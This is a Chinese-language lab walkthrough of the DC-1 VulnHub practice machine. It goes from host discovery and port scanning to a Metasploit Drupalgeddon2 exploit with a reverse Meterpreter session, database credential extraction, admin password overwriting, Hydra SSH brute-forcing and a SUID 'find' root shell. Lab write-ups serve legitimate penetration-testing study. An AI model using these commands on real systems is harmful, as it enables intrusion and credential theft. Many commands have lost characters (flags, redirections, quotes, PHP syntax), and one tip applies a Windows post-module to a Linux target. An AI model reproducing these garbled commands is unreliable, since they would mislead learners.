DC-1靶场实战:从环境配置到权限提升的完整渗透路径

张开发
2026/4/7 22:08:29 15 分钟阅读

分享文章

DC-1靶场实战:从环境配置到权限提升的完整渗透路径
1. DC-1靶场环境搭建第一次接触DC-1靶场时我花了不少时间在环境配置上。这个靶场是专门为渗透测试初学者设计的模拟了一个存在多个漏洞的Drupal网站。下面我会详细分享我的搭建经验帮你避开那些常见的坑。首先需要准备两个虚拟机Kali Linux和DC-1靶机。Kali建议使用最新版本我测试时用的是2023.4版本。DC-1的ova文件在Vulnhub官网可以直接下载但要注意的是导入时可能会报错。别慌这是正常现象直接点重试就能继续。我遇到过三次导入失败的情况最后发现是VMware版本兼容性问题更新到最新版就解决了。网络配置是新手最容易出错的地方。必须确保两台虚拟机在同一网络模式下我推荐使用NAT模式这样既不会影响主机网络又能保证两台机器互通。曾经有个学员因为用了桥接模式折腾了两天都没找到靶机IP最后发现是网段配置错误。2. 信息收集实战技巧拿到靶机后第一步就是要找到它的IP地址。这里我推荐三个工具的组合使用arp-scan最快速的方法arp-scan -l --interfaceeth0加上接口参数更准确特别是当你有多个网卡时。nmap更全面的扫描nmap -sn 192.168.1.0/24-sn参数表示只做主机发现不扫描端口速度更快。netdiscover被动探测工具netdiscover -i eth0 -r 192.168.1.0/24找到IP后就该扫描开放端口了。我习惯用这个命令nmap -sV -p- -T4 192.168.1.100-T4是速度等级平衡了速度和准确性。扫描结果通常会显示80端口开着这就是我们的突破口。3. Drupal漏洞利用详解通过浏览器访问靶机IP用Wappalyzer插件可以快速识别出这是Drupal 7的系统。这个版本的Drupal有个著名的漏洞——Drupalgeddon2 (CVE-2018-7600)我们可以用Metasploit来利用它。启动msfconsole后按这个流程操作use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.100 set LHOST 192.168.1.50 exploit成功后会得到一个Meterpreter会话。这里有个小技巧如果连接不稳定可以先background当前会话然后配置自动迁移set AutoRunScript post/windows/manage/migrate4. 数据库渗透与密码破解拿到shell后我们发现了flag1的提示指向了配置文件。Drupal的配置文件通常位于/sites/default/settings.php里面藏着数据库凭据$databases array ( default array ( default array ( database drupaldb, username dbuser, password R0ck3t, host localhost, port , driver mysql, ), ), );用这些凭据登录MySQLmysql -udbuser -pR0ck3t查看用户表时发现密码是加密的。Drupal用的是SHA-512加盐哈希我们可以用自带的脚本生成新哈希php /var/www/scripts/password-hash.sh 123456然后更新数据库中的密码UPDATE users SET pass$S$DxVn7Q... WHERE uid1;5. Linux提权终极指南最后的挑战是提权到root。我们发现了flag4用户用Hydra爆破密码hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100成功登录后检查SUID权限文件find / -perm -us -type f 2/dev/null发现find命令有SUID权限这是经典的提权路径find / -name test -exec /bin/sh \;这个命令会以root权限启动一个shell。我建议立即升级到完全交互式shellpython -c import pty; pty.spawn(/bin/bash) export TERMxterm最后在/root目录找到最终的flag文件。整个过程中最重要的是理解每个步骤的原理而不仅仅是记住命令。比如SUID提权的本质是继承了文件所有者的权限这就是为什么find命令能给我们root权限。

更多文章